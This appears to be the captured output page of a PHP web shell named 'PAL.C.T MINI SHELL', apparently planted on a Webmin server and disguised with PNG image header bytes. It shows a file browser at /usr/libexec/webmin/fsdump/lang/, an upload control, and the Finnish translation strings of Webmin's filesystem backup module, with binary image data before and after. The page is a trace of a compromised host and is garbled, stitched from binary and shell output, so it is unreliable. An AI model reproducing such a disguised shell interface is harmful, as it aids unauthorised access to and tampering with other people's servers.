php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/fsdump/lang/
upload
files >> //usr/libexec/webmin/fsdump/lang/fi.auto

index_title=Tiedostojärjestelmän varmuuskopiointi
index_add=Lisää uusi varmuuskopio hakemistosta:
index_none=Tiedostojärjestelmävarmuuskopioita ei ole vielä luotu.
index_none2=Ei tiedostojärjestelmän varmuuskopioita, joille sinulla on käyttöoikeus.
index_restore=Palauta tiedostojärjestelmätyypin varmuuskopio:
index_restoremsg=Valitse tiedostojärjestelmän tyyppi ja napsauta tätä painiketta aloittaaksesi tiedostojärjestelmän varmuuskopion valitsemisen palautettavaksi.
index_restore2=Palauta tiedostojärjestelmän varmuuskopio
index_restoremsg2=Napsauta tätä painiketta, kun haluat aloittaa palautettavan tiedostojärjestelmän varmuuskopion valinnan.
index_ecommands=Mikään moduulin tarvitsemista tiedostojärjestelmän varmuuskopiointikomennoista (kuten $1) ei löytynyt järjestelmästäsi. Ehkä niitä ei ole tällä hetkellä asennettu.
index_return=varmuuskopioluettelo
index_running=Suorita varmuuskopioita
index_jobs=Ajoitetut varmuuskopiot
index_start=Alkaen klo
index_status=Nykyinen tila
index_status_running=Running
index_status_tape=Odotetaan nauhaa
index_action=Toiminta
index_kill=lopettaa
index_newtape=Nauha on ladattu
index_noact=Yhtään ei ole saatavilla
index_now=Varmuuskopioida ..
index_follow=$1 jälkeen
index_forcetar=TAR-muodossa
index_delete=Poista valitut varmuuskopiot
index_nostrftime=Varoitus - jotkut varmuuskopiointityöt käyttävät % tiedostonimissään, mutta strftime-korvaaminen ei ole käytössä Moduulin kokoonpanosivulla.

dump_dir=Varmuuskopioitava hakemisto
dump_dirs=Hakemistot varmuuskopiointiin
dump_fs=Tiedostojärjestelmä
dump_sched=Säännöllisen?
dump_when=Ajoittain
dump_dest=Varmuuskopio
dump_file=Tiedosto- tai nauhalaite
dump_host=Isäntä $1 käyttäjän $2 tiedostossa tai laitteessa $3 
dump_level=Dump taso
dump_level_0=0 (täydellinen varmuuskopio)
dump_label=Varmuuskopio
dump_multi=Jako useille tiedostoille?
dump_update=Päivitetään <tt>/etc/dumpdates</tt> tiedosto?
dump_exclude=Ohitettavat tiedostot ja hakemistot
dump_edir=Puuttuva tai virheellinen hakemisto varmuuskopiointia varten
dump_efile=Puuttuu tiedosto tai laite varmuuskopiointiin
dump_ehost=Puuttuva tai virheellinen isäntä varmuuskopiointiin
dump_ehuser=Virheellinen käyttäjänimi varmuuskopiossa isäntään
dump_ehuser2=Käyttäjätunnus ei voi sisältää @ -merkkiä
dump_ehfile=Puuttuva tai virheellinen tiedosto tai laite isäntäkoneesta varmuuskopiointiin
dump_elabel=Virheellinen varmuuskopiotunnus (voi olla korkeintaan 15 merkkiä)
dump_elabel2=Virheellinen varmuuskopiotunnus (voi olla enintään 255 merkkiä)
dump_eblocks=Puuttuva tai virheellinen nauhakoko
dump_ebsize=Puuttuva tai virheellinen dump-tietueen lohkon koko
dump_max=Sisällytettävä enimmäiskoko
dump_unlimited=Rajoittamaton
dump_attribs=Sisällytetäänkö tiedostomääritteet?
dump_over=Kysy ennen nauhan korvaamista?
dump_overwrite=Korvaako varmuuskopio aina?
dump_invent=Tallennetaanko varmuuskopio varastosta?
dump_emax=Puuttuva tai virheellinen enimmäiskoko
dump_emp=Varmuuskopioitavan hakemiston on oltava tiedostojärjestelmän liitäntäkohta
dump_erase=Poistetaanko tiedosto / poistetaan nauha ennen varmuuskopiointia?
dump_verify=Varmista tiedot varmuuskopion jälkeen?
dump_offline=Poista teippi varmuuskopion jälkeen?
dump_blocks=Nauhan koko
dump_bsize=Dump ennätyskoko
dump_auto=Treenata automaattisesti
dump_honour=Poistetaanko merkityt tiedostot aina?
dump_comp=Pakkaako tietoja?
dump_complvl=Kyllä, tasolla
dump_ecomp=Puuttuva tai virheellinen pakkaustaso
dump_before=Komento suorittaa ennen varmuuskopiointia
dump_after=Komento suorittaa varmuuskopion jälkeen
dump_fok=Pysäytä, jos komento epäonnistuu
dump_fok2=Ilmoita virheestä, jos komento epäonnistuu
dump_aok=Ohita komento, vaikka varmuuskopiointi epäonnistuisi
dump_extra=Ylimääräiset komentoriviparametrit
dump_rsh=Etävarmuuskomento
dump_rsh0=Oletus (RSH)
dump_rsh1=SSH
dump_rsh3=FTP
dump_rsh2=Muu komento ..
dump_pass=Salasana SSH-kirjautumiseen
dump_pass2=Salasana SSH/FTP-kirjautuminen
dump_ersh=Puuttuva tai virheellinen etävarmuuskomento
dump_essh=SSH: ta ei voida käyttää etävarmuuskopiointiin, ellei <tt>ssh</tt> -komento ole asennettu järjestelmään
dump_ecannot1=Et voi luoda varmuuskopioita
dump_ecannot2=Sinulla ei ole oikeutta muokata tätä varmuuskopiota
dump_ecannot3=Et voi varmuuskopioida tätä hakemistoa
dump_format=Varmuuskopio
dump_tar=Unix TAR
dump_dumpfs=$1 tiedostojärjestelmän dump
dump_gzip=Pakkaako arkisto?
dump_gzip1=Kyllä, gzipillä
dump_gzip2=Kyllä, bzip2: lla
dump_gzip3=Kyllä, XZ: llä
dump_bcomp=Puskuri pakatut tiedot lohkoiksi?
dump_xdev=Rajoitako varmuuskopio vain yhteen tiedostojärjestelmään?
dump_update2=Lisää vain uusia tiedostoja arkistoon?
dump_ignoreread=Ohitetaanko tiedostojen lukuvirheet?
dump_notape=Pyydä uusi nauha tarvittaessa?
dump_rmt=Polku etäjärjestelmään <tt>rmt</tt>
dump_links=Seuraako symbolisia linkkejä?
dump_egzip=Gzip-pakkausvaihtoehto ei ole yhteensopiva nauhan koon kanssa
dump_egzip2=Gzip-pakkausvaihtoehto ei ole yhteensopiva monitiedostovarmuuskopion kanssa
dump_egzip3=Gzip-pakkausvaihtoehto ei ole yhteensopiva vaihtoehdon kanssa, jolla vain lisätään uusia tiedostoja arkistoon
dump_emulti=Monitiedostoisia varmuuskopioita ei voi tehdä nauhalaitteelle
dump_emulti2=Monitiedostoisia varmuuskopioita ei voi tehdä etäpalvelimelle
dump_ermt=Puuttuva tai virheellinen polku ohjelmaan <tt>rmt</tt>
dump_reverify=Yritetäänko testi palauttaa varmuuskopion jälkeen varmistaaksesi?
dump_remount=Korjataanko <tt>noatime</tt> -vaihtoehdolla varmuuskopioinnin aikana?
dump_eftpupdate=Tiedostojen lisääminen olemassa olevaan arkistoon ei ole mahdollista, kun käytetään FTP: tä.
dump_eleveldir=Vain tason 0 varmuuskopiot ovat sallittuja hakemistoille, jotka eivät ole tiedostojärjestelmän asennuspisteitä
dump_eupdatedir=<tt>/etc/dumpdates</tt>-tiedosto voidaan päivittää vain hakemistoille, jotka ovat tiedostojärjestelmän liitäntäpisteitä

edit_err=Varmuuskopion luonti epäonnistui
edit_edir=Puuttuu varmuuskopiohakemisto
edit_efs=Tämä moduuli ei voi varmuuskopioida tyypin $1 tiedostojärjestelmiä
edit_title=Lisää uusi varmuuskopio
edit_title2=Muokkaa varmuuskopiota
edit_title3=Klooni varmuuskopio
edit_header=$1 tiedostojärjestelmän varmuuskopiotiedot
edit_header2=Varmuuskopioaikataulu
edit_header3=Varmuuskopiointivaihtoehdot
edit_enabled=Ajoitettu varmuuskopio käytössä?
edit_enabled_no=Liikuntarajoitteinen
edit_enabled_yes=Käytössä, alla valituina aikoina ..
edit_enabled_af=Käytössä, kun:
edit_savenow=Tallenna ja varmuuskopioi nyt
edit_createnow=Luo ja varmuuskopioi nyt
edit_return=varmuuskopioida
edit_email=Ajoitettu sähköpostin lähettäminen sähköpostitse
edit_subject=Sähköpostiviestin aihe
edit_restore=Palauta ..
edit_to=$1 - $2 
edit_tolevel=$1 - $2 (taso $3)
edit_special=Varmuuskopioaikataulu
edit_when=Milloin varmuuskopioida
edit_clone=Klooni

save_err=Varmuuskopion tallentaminen epäonnistui
save_edir=Puuttuva tai virheellinen varmuuskopiohakemisto
save_efs=Varmuuskopiohakemistoa ei voi muuttaa toiseen tiedostojärjestelmään

backup_title=Varmuuskopioi nyt
backup_desc=Varmuuskopioidaan $1 - $2 ..
backup_reverify=.. saattaa loppuun. Vahvistetaan nyt varmuuskopio ..
backup_beforefailed=.. ennen varmuuskopiointikomentoa epäonnistui!
backup_afterfailed=.. varmuuskopioinnin jälkeen epäonnistui!
backup_done=.. varmuuskopiointi valmis.
backup_failed=.. varmuuskopiointi epäonnistui!
backup_noverify=..vahvistus epäonnistui!
backup_notape=.. varmuuskopiointi ylitti yhden nauhan kapasiteetin. Nauhanvaihtoa tuetaan vain, kun varmuuskopioita suoritetaan taustaprosesseina.
backup_egone=Varmuuskopioita ei ole!
backup_bg=Taustavarmuuskopion aloittaminen. Voit seurata sen etenemistä moduulin pääsivun <b>Varmistustöiden suorittaminen</b> -osiossa, ja sen lopullisesta tilasta ilmoitetaan sähköpostitse.
backup_ecannot=Et voi varmuuskopioida tätä hakemistoa

restore_title=Palauta varmuuskopio
restore_err=Varmuuskopion palauttaminen epäonnistui
restore_ecommand=$2 -tiedostojärjestelmän varmuuskopioiden palauttamiseen tarvittavaa komentoa $1 ei löydy järjestelmästäsi. Ehkä sitä ei ole tällä hetkellä asennettu.
restore_theader=Palauta varmuuskopio Unix TAR-tiedostosta
restore_header=Palauta $1 -tiedostojärjestelmän varmuuskopio
restore_src=Palauta tiedostosta tai laitteesta
restore_dir=Palauta hakemistoon
restore_ok=Palauta varmuuskopio nyt
restore_over=Korvataanko olemassa olevat tiedostot?
restore_over0=Aina
restore_over1=Ellei uudempi kuin varmuuskopio
restore_over2=Ei koskaan
restore_noattribs=Palautetaanko tiedostomääritteet?
restore_label=Palauta varmuuskopio vain etiketillä
restore_files=Palautettavat tiedostot
restore_all=Kaikki varmuuskopiossa
restore_sel=Listatut tiedostot ..
restore_multi=Varmuuskopio on jaettu useille tiedostoille?
restore_efile=Puuttuu tiedosto tai laite, josta palauttaa
restore_ehost=Puuttuva tai virheellinen isäntä palautettavaksi
restore_ehuser=Virheellinen käyttäjänimi palvelimessa, josta voi palauttaa
restore_ehfile=Puuttuva tai virheellinen tiedosto tai laite isäntäkoneelta, josta palauttaa
restore_now=Varmuuskopion palauttaminen komennolla $1 ..
restore_desc=Tällä sivulla voit palauttaa aiemman tiedostojärjestelmän varmuuskopion. Ole varovainen palauttaessasi, koska tiedostoja on muokattu, koska varmuuskopio voidaan korvata!
restore_efiles=Puuttuvat palautettavat tiedostot
restore_evolume=Usean levyn palautuksia ei tueta.
restore_equestion=Tuntematon kysymys palautuksesta : $1 
restore_edir=Puuttuva tai virheellinen hakemisto palautettavaksi
restore_failed=Palauttaminen epäonnistui : $1 
restore_failed2=Palauttaminen epäonnistui! Katso lähtö yllä.
restore_complete=Palautus onnistui.
restore_test=Näytä vain tiedostot varmuuskopioina?
restore_nothing=Testaako vain varmuuskopio?
restore_extra=Ylimääräiset komentorivivalinnat
restore_rsh=Kauko-palautuskomento
restore_ersh=Puuttuva tai virheellinen etäpalautuskomento
restore_essh=SSH: ta ei voida käyttää etäpalautuksiin, ellei <tt>ssh</tt> -komento ole asennettu järjestelmään
restore_ecannot=Sinulla ei ole oikeutta palauttaa varmuuskopioita
restore_perms=Palautetaanko tiedostooikeudet?
restore_gzip=Pakkaako arkisto?
restore_keep=Etkö korvaa tiedostoja?
restore_emulti=Monitiedostojen palauttamista ei voi tehdä nauhalaitteesta
restore_emulti2=Monitiedostojen palauttamista ei voida suorittaa etäpalvelimelta

log_create=Luotu varmuuskopio $1 : lle
log_modify=Muokattu varmuuskopio $1 : lle
log_delete=Poistettu varmuuskopio $1 : lle
log_backup=Varmuuskopioidaan $1 - $2 
log_bgbackup=Aloitettiin varmuuskopio $1 - $2 
log_restore=Palautettu varmuuskopio $1 : stä
log_kill=Lopetettu varmuuskopio $1 : lle

kill_err=Varmuuskopioinnin lopettaminen epäonnistui
kill_egone=Ei enää juokse!
kill_ecannot=Sinulla ei ole oikeutta lopettaa tätä varmuuskopiointia

newtape_err=Uuden nauhan signalointi epäonnistui
newtape_egone=Varmuuskopio ei ole enää käynnissä!
newtape_estatus=Varmuuskopiointi ei enää odota uutta nauhaa
newtape_ecannot=Sinulla ei ole oikeutta hallita tätä varmuuskopiota

acl_edit=Voiko luoda ja muokata varmuuskopioita?
acl_restore=Voiko varmuuskopiot palauttaa?
acl_cmds=Voiko muokata ennen ja jälkeen komentoja?
acl_extra=Voiko muokata ylimääräisiä komentoriviparametreja?
acl_dirs=Sallitut hakemistot varmuuskopioille
acl_all=Kaikki hakemistot
acl_list=Vain listattu ..

delete_err=Varmuuskopioiden poistaminen epäonnistui
delete_enone=Mitään ei ole valittu

email_already=Varmuuskopiointi on jo käynnissä PID $1 : llä.
email_ebefore=Ennen varmuuskopiointia -komento epäonnistui!
email_verify=Varmennetaan varmuuskopio ..
email_eafter=Varmuuskopioinnin komento epäonnistui!
email_subject=$1 : n varmuuskopio $2 : lle
email_ok=Varmuuskopiointi onnistui
email_failed=Varmuuskopiointi epäonnistui!

newtape_subject=Nauhanvaihto $1, kun $2 varmuuskopioidaan $3 : een
newtape_body=$2 : n varmuuskopio $3 : ssa on saavuttanut nauhalle $1 sallitun enimmäismäärän. Sinun on ladattava uusi nauha ja napsautettava Tape Loaded -linkkiä Webminin Filesystem Backup -moduulissa, jotta varmuuskopiointi jatkuu.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`